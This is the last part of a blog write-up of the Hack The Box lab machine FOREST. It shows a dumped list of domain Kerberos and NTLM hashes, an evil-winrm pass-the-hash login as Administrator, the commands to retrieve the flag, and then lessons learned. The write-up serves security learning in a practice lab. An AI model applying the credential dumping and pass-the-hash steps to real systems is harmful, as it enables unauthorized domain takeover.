htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
nana:aes256-cts-hmac-sha1-96:51394fb0ab60999abb4083815f8e812c4e8ef7d760708f67dc2232690824836a
nana:aes128-cts-hmac-sha1-96:8a15b483d62a5bee38c50cface801be8
nana:des-cbc-md5:0eab406e80945204
zombie:aes256-cts-hmac-sha1-96:19b327859e965007ea18d5744f20a8bf681baa798aae6ec7b9278924f2e14461
zombie:aes128-cts-hmac-sha1-96:9190ea5ca9efbbf4fc9ebfbb44fdcc83
zombie:des-cbc-md5:7049156eb919e601
htb.local\steps0x29a:aes256-cts-hmac-sha1-96:defeeb724621caf7385761b28732ff782871cc73f3f2513e112938befe9150e2
htb.local\steps0x29a:aes128-cts-hmac-sha1-96:2306cae95f068d142951a33795a8df62
htb.local\steps0x29a:des-cbc-md5:457cb58f57544052
test1:aes256-cts-hmac-sha1-96:97dcb9cb193793026ec8ada18dc65ec54d4d02ed4d5dcaaca013de2c70b5efc4
test1:aes128-cts-hmac-sha1-96:747ae50d272481390d2667cc34a5c272
test1:des-cbc-md5:262973e6da3e4f2c
joch:aes256-cts-hmac-sha1-96:2e4bfd60c43b5638250c1c5538026ee32e193f03d55a62c8a3eb0858569caa1b
joch:aes128-cts-hmac-sha1-96:abbb558db72dad5886aa99dd89b8849c
joch:des-cbc-md5:8f73dca7d938a4f4
tmp:aes256-cts-hmac-sha1-96:38c21ca614975f42e888d76f3b601e6af0c23a89487d97d77c21bfdd1fb0fc99
tmp:aes128-cts-hmac-sha1-96:592281b0ee1ec70c6dd7af3c2959b9fd
tmp:des-cbc-md5:5e4cbfd60d4fa45d
FOREST$:aes256-cts-hmac-sha1-96:d781b2c04fafa04484b0ac474b6113849a6206d5be1bfbf673db0bdbda1e90fe
FOREST$:aes128-cts-hmac-sha1-96:3baec1e014776dbe7eb251b321154675
FOREST$:des-cbc-md5:546bc25dd6b62f13
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...

Wow, that was a lot of output. Actually, there’s only one line in there that’s important right now:

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

Yes, that’s the Administrator’s password hash! We’re close to pwning this box.

Actually, we’re done, the only thing left to do is use the hash with evil-winrm to login as Administrator:

evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

We are now Administrator! Getting the flag is a piece of cake now:

cd ..\Desktop
download admin.txt

And done!

Summary

Whew, this box was no easy feat! Actually, it made me rip my hair out more than once. And from what I read in the forums, I’m not alone. Sure, you only need standard tools and ideas to penetrate and escalate, but the amount of knowledge required in order to do it is huge.

I wouldn’t rate it Easy, but that’s me, knowing way too little about Windows Domains and Active Directory.

I certainly learned a lot about Windows Domains and Active Directory, that’s for sure.

Lessons learned

A few more things before I’ll end this post.

  • It’s not always metasploit! As I said before, it’s not always the well-known tools. I personally had never heard of impacket or BloodHound, but they certainly taught me a lot.
  • It’s not always tools! Well, this one should be obvious, shouldn’t it? Tools are great, they speed up things. But when tools get in the way of learning things, then they should be avoided.
  • Write Code! I talked to several other users attempting FOREST and a lot of them did not know at least the foundations of programming. That certainly would’ve helped them a lot when they tried to debug some script they found somewhere that didn’t work for them.
  • Read! Learn! The more you know, the easier such attacks become (obviously). So learn, learn, read, learn some more, read even more and then learn!
  • Write every little step down! I wrote down everything I did (well, maybe I forgot a few times). This helped me a lot. It enabled me to go back in time, if you will, see what I did and try similar stuff with slight modifications. That’s actually what helped me with the privilege escalation at the end.
  • Try to teach others! Immediately after rooting FOREST, I put out a message in the forums, offering help to others that got stuck. And I have since received loads of messages, helping people getting to Administrator on FOREST. Well, not spoiling, but nudging. That re-inforced the learning a lot and I’ll do it again.

2 thoughts on “HTB FOREST Writeup”

  1. Pingback: HTB Control | steps0x29a
  2. Pingback: HTB Registry | steps0x29a

Leave a comment